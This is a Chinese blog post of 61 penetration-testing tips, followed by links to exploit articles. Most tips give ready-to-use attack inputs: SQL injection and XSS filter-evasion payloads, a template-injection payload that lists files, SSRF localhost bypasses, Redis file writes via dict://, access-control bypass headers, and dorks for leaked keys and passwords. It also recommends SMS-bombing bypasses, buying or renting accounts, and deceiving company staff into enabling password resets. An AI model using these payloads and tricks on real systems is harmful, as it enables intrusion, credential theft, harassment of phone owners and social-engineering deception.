【经验分享】渗透测试中常见问题的61个小tips

  • A+
所属分类:安全文章

1、如果提示缺少参数,如{msg:params error},可尝使用字典模糊测试构造参数,进一步攻击。


2、程序溢出,int最大值为2147483647,可尝试使用该值进行整数溢出,观察现象。


3、403,404响应不灰心,尝试使用dirsearch等工具探测目录。


4、验证码简单绕过:重复使用,万能验证码(0000,8888),空验证码,验证码可识别(可用PKAV HTTP Fuzzer工具识别等)


5、短信轰炸绕过:手机号前加+86有可能会绕过,手机号输入邮箱,邮箱处输入手机号


6、如果验证码有实效,可尝试一段时间内重复发送获取验证码,因为有实效,所以有可能会延长验证码的时长。


7、SQL注入时,如果数据库是Mysql,可以尝试使用&&替换and,如:' && '1'='1,' %26%26 '1'='1。


8、SQL注入时,如果数据库是Mysql,waf过滤了=,可尝试用like替代。如:and 1 like 1


9、JWT格式在jwt.calebb.net/可以解密,前提是要知道秘钥,可以尝试构造任意数据,看他会不会有报错信息中携带秘钥信息,可以通过github.com/firebase/php生成JWT。


JWT格式header.payload.signature


10、如果开放了redis服务(1234端口),可以尝试使用/actuator/redis/info语句看是否能读取敏感信息,如:xxx.com:1234/actuator/r


11、Gitlab平台漏洞 - CVE-2020-10977


12、API接口处,可以自己构造参数,POST形式传参,可以尝试构造为JSON格式,记得添加content-type: application/json,一些可尝试参数,page,size,id。


13、手机发送短信时间限制的话,可以在手机号前尝试使用特殊字符,或空格。


他的逻辑应该是这样的,用户输入手机号——>后端判断该手机号是否在30秒或者60秒内请求过——>如果没有,判断发送过来的手机号是够是11位的纯数字

如果不是,去掉非数字字符——>和数据库中的手机号比对,是够存在于数据库中,如果存在那么向该手机发送验证码。


14、图片验证码可设置为空,如:code=undefined


15、自动以验证码内容,观察Cookie中,参数中是否有发送给用户的内容,可以尝试更改,可以构造钓鱼链接。


16、模板注入,在{{xxx}}中输入的命令参数可被执行,如:

www.baidu.com/{{1+1}}
以Python为例,列出当前目录下所有文件的Payload:{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}

17、信息收集,在搜狗搜索中选择微信可以搜索相关企业相关公众号资产。


18、在JS文件中搜索关键字API,Swagger UI等等,尝试寻找API接口地址。


19、swagger接口常见路径:

/swagger/
/api/swagger/
/swagger/ui/
/api/swagger/ui/
/swagger-ui.html/
/api/swagger-ui.html/
/user/swagger-ui.html/
/swagger/ui/
/api/swagger/ui/
/libs/swaggerui/
/api/swaggerui/
/swagger-resources/configuration/ui/
/swagger-resources/configuration/security/

20、swagger组件特征固定title:Swagger UI


21、盲测目录是否存在,如果存在该目录可能会自动在URL末尾添加/补全。


22、Mysql中可以利用的空白字符有:%09,%0a,%0b,%0c,%0d,%20,%a0


23、获取账号:文库,QQ群,github泄露,借/租/买账号。


24、如果泄露阿里云的 AKSK,可以使用AKSKtools工具进一步利用。

xz.aliyun.com/t/842925、如果遇见后台页面一闪而过,接着让你登录,一般使用了权限认证方式,可以用一下方式进行绕过,或者遇见401,403,302,都可以尝试使用以下方法:

一、GET /xxx HTTP/1.1 à403
Host: test.com
绕过:
GET /xxx HTTP/1.1 à200
Host: test.com
X-Original-URL: /xxx
二、GET /xxx HTTP/1.1 à403
Host: test.com
绕过:
GET /xxx HTTP/1.1 à200
Host: test.com
Referer: http://test.com/xxx
三、302跳转:拦截并drop跳转的数据包,使其停留在当前页面。
四、前端验证:只需要删掉对应的遮挡模块,或者是验证模块的前端代码。

26、一款生成gopher协议payload的工具:

https://github.com/firebroo/sec_tools

27、Dict协议写入流程:

1.写入内容;
dict://127.0.0.1:6379/set❌test
2.设置保存路径;
dict://127.0.0.1:6379/config:set:dir:/tmp/
3.设置保存文件名;
dict://127.0.0.1:6379/config:set:dbfilename:1.png
4.保存。
dict://127.0.0.1:6379/save

28、CentOS 7系统利用suid提权获取Root Shell

https://www.freebuf.com/articles/system/244627.html

29、xss中标签利用的payload:

<a href=javascript:alert(1)>xx</a>

30、XSS过滤了单引号,等号可以:

①、使用:String.fromCharCode(97,108,101,114,116,40,49,41);
为alert(1),该方法输出的结果为字符串,可以使用eval()进行执行,即弹框操作
eval(String.fromCharCode(97,108,101,114,116,40,49,41));
②、atob函数:
eval(atob`YWxlcnQoMSk=`) 为 eval(atob`alert(1)`) 其中`为反引号

31、XSS过滤了单引号,等号以及圆括号,eval:

①、过滤了eval函数可以用其他函数去绕过,如:Function,constructor
Function`a${atob`YWxlcnQoMSk=`}```
``.constructor.constructor`a${atob`YWxlcnQoMSk=`}```

32、可使用下面命令查看是否处在docker虚拟机中

cat /proc/1/cgroup

33、万能密码试试'=0#34、CORS漏洞验证,可以使用curl来验证:

curl https://www.xxxx.com -H "Origin: https://test.com" -I
检查返回包的 Access-Control-Allow-Origin 字段是否为https://test.com

35、在盲测目标系统是否为Shiro时,可以在Cookie中手动构造rememebrMe=xxx


如果返回包中Set-Cookie中存在rememberMe=deleteMe,则证明该系统使用了Shiro,因此可以进一步攻击。


36、使用正则获取网站中所包含的其他URL:

cat file | grep -Eo "(http|https)://[a-zA-Z0-9./?=_-]*"*
curl http://host.xx/file.js | grep -Eo "(http|https)://[a-zA-Z0-9./?=_-]*"*

37、常见的一些远程命令执行(RCE)参数,详情,请看dicts目录下的RCE-extentions.txt文件。


38、绕过SSRF防护的几个小方法:

A、绕过SSRF限制通过CIDR,如:
http://127.127.127.127
http://127.0.0.0
B、不完整的地址,如:
http://127.1
http://0
C、将地址结合在通过特殊字符结合在一起,如:
http://1.1.1.1 &@2.2.2.2# @3.3.3.3/
urllib : 3.3.3.3
D、绕过解析器,如:
http://127.1.1.1:[email protected]:80/
E、绕过localhost通过[::],如:
http://[::]:80/
http://0000::1:80/

39、几个常用的Google语法:

inurl:example.com intitle:"index of"
inurl:example.com intitle:"index of /" "*key.pem"
inurl:example.com ext:log
inurl:example.com intitle:"index of" ext:sql|xls|xml|json|csv
inurl:example.com "MYSQL_ROOT_PASSWORD:" ext:env OR ext:yml -git

40、通过favicon的hash来对比相关联的两个网站:

脚本地址:https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py
命令:python3 favihash.py -f https://target/favicon.ico -t targets.txt -s

41、一些本地包含参数,详情请看dicts目录下的LFI-extentions.txt文件。


42、在JavaScript文件中可以找一些隐藏的GET参数,比如:

首先,在js文件中找到一些变量,比如:var test="xss"
然后,可以尝试使用GET方法构造每一个参数,比如:
https://example.com/?test=”xsstest
本方法可能会发现一些XSS

43、使用github dorks帮助我们寻找一些敏感信息,比如:

extension:pem private
extension:ppk private
extension:sql mysql dump password
extension:json api.forecast.io
extension:json mongolab.com
extension:yaml mongolab.com
extension:ica [WFClient] Password=
extension:avastlic “support.avast.com”
extension:js jsforce conn.login
extension:json googleusercontent client_secret
“target.com” send_keys
“target.com” password
“target.com” api_key
“target.com” apikey
“target.com” jira_password
“target.com” root_password
“target.com” access_token
“target.com” config
“target.com” client_secret
“target.com” user auth
通过上述语法,可以搜索到一些敏感的私钥,一些SSH登录私钥,mysql的数据库密码,API key等等。
另外推荐一个脚本:https://github.com/techgaun/github-dorks


44、SSRF常见的参数,详情请看dicts目录下的SSRF-extensions.txt文件。


45、通过添加.json后缀,泄露一些敏感信息,比如:

一次正常请求:
GET /ResetPassword HTTP/1.1
{"email":"[email protected]"}
响应:
HTTP/1.1 200 OK
添加.json后缀的请求:
GET /ResetPassword.json HTTP/1.1
{"email":"[email protected]"}
响应:
HTTP/1.1 200 OK
{"success":"true","token":"596a96-cc7bf-9108c-d896f-33c44a-edc8a"}
原链接:https://twitter.com/SalahHasoneh1/status/1293918353971531776

46、如果响应为401,可以试试在请求头中添加X-Custom-IP-Authorization: 127.0.0.1


47、至于登陆后台的网站,如果有重置密码功能,但被禁用了,可以找该公司技术qq群,假装用户忘记密码,提重置密码需求,让开通功能,可以验证下是否有任意密码重置漏洞。


48、如果遇见后台页面一闪而过,接着让你登录,一般使用了权限认证方式:


49,302跳转:拦截并drop跳转的数据包,使其停留在当前页面。


这个操作每次试都是不成功的,但是可以修改返回的302为200,然后删除掉Location字段。



50、任意文件下载:/porc/self/cmdline --当前进程的cmdline参数,/var/lib/mlocate/mlocate.db --全文件路径。


51、容易发生短信轰炸的几个业务场景以及绕过方法:

①:登录处
②:注册处
③:找回密码处
④:绑定处
⑤:活动领取处
⑥:独特功能处
⑦:反馈处
一般绕过限制方法:
手机号码前后加空格,86,086,0086,+86,0,00,/r,/n, 以及特殊符号等
修改cookie,变量,返回
138888888889 12位经过短信网关取前11位,导致短信轰炸


52、注入的时候可以试试--%0a union --%0a select 尝试绕过。


53、注入的时候,多看order by,group by,{$var}。


54、手机号前加若干+会造成短信轰炸。


55、如果在旁站中发现短信验证码在response中出现,可以试试主站或者其他站点中验证码是否通用。


56、获取短信验证码时,用逗号隔开两个手机号,有可能两个手机号能获取到同一个验证码。


57、测试注入and ord(0x1)->true,and ord(0x0)->false。

58、遇到文件读取漏洞,除了读取配置文件,还可以尝试读取网站文件,来进行代码审计,说不定就有开发疏忽的漏洞在源代码里。

59、使用python快速开启http服务器:

基于python2.x,命令如下:
python -m SimpleHTTPServer 8000
# 在当前目录起个 8000 端口的 HTTP 服务
基于python3.x,命令如下:
python -m http.server 8000

60、渗透时尽量不要暴露自己的 IP 地址,挂代理是必须的。

linux 下要查看自己终端是否走代理可以 curlifconfig.me/看下返回的 IP 地址,

windows 就直接访问ifconfig.me/即可

61、整理字典时,推荐用linux下的工具快速合并和去重。

cat file1.txt file2.txt fileN.txt > out.txt
sort out.txt | uniq > out2.txt

文章来源:白帽子左一

【往期推荐】

【内网渗透】内网信息收集命令汇总

【内网渗透】域内信息收集命令汇总

【超详细 | Python】CS免杀-Shellcode Loader原理(python)

【超详细 | Python】CS免杀-分离+混淆免杀思路

【超详细 | 钟馗之眼】ZoomEye-python命令行的使用

【超详细 | 附EXP】Weblogic CVE-2021-2394 RCE漏洞复现

【超详细】CVE-2020-14882 | Weblogic未授权命令执行漏洞复现

【超详细 | 附PoC】CVE-2021-2109 | Weblogic Server远程代码执行漏洞复现

【漏洞分析 | 附EXP】CVE-2021-21985 VMware vCenter Server 远程代码执行漏洞

【CNVD-2021-30167 | 附PoC】用友NC BeanShell远程代码执行漏洞复现

【奇淫巧技】如何成为一个合格的“FOFA”工程师

【超详细】Microsoft Exchange 远程代码执行漏洞复现【CVE-2020-17144】

【超详细】Fastjson1.2.24反序列化漏洞复现

  记一次HW实战笔记 | 艰难的提权爬坑

走过路过的大佬们留个关注再走呗【经验分享】渗透测试中常见问题的61个小tips

往期文章有彩蛋哦【经验分享】渗透测试中常见问题的61个小tips

【经验分享】渗透测试中常见问题的61个小tips

一如既往的学习,一如既往的整理,一如即往的分享【经验分享】渗透测试中常见问题的61个小tips

如侵权请私聊公众号删文

相关推荐: 记一次注入绕过之绕了个寂寞

前面就不先多说了,主要是记录一个从0到0.5再到0的过程,记一个思路和思考过程吧。项目碰到,xray扫描出来存在注入,目标存在waf。现在绕过waf,如果没绕过默认什么也不返回,类似下图(1)判断数据库版本Get请求,既然打算硬绕,先来头铁上硬的。第一步,判断…

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: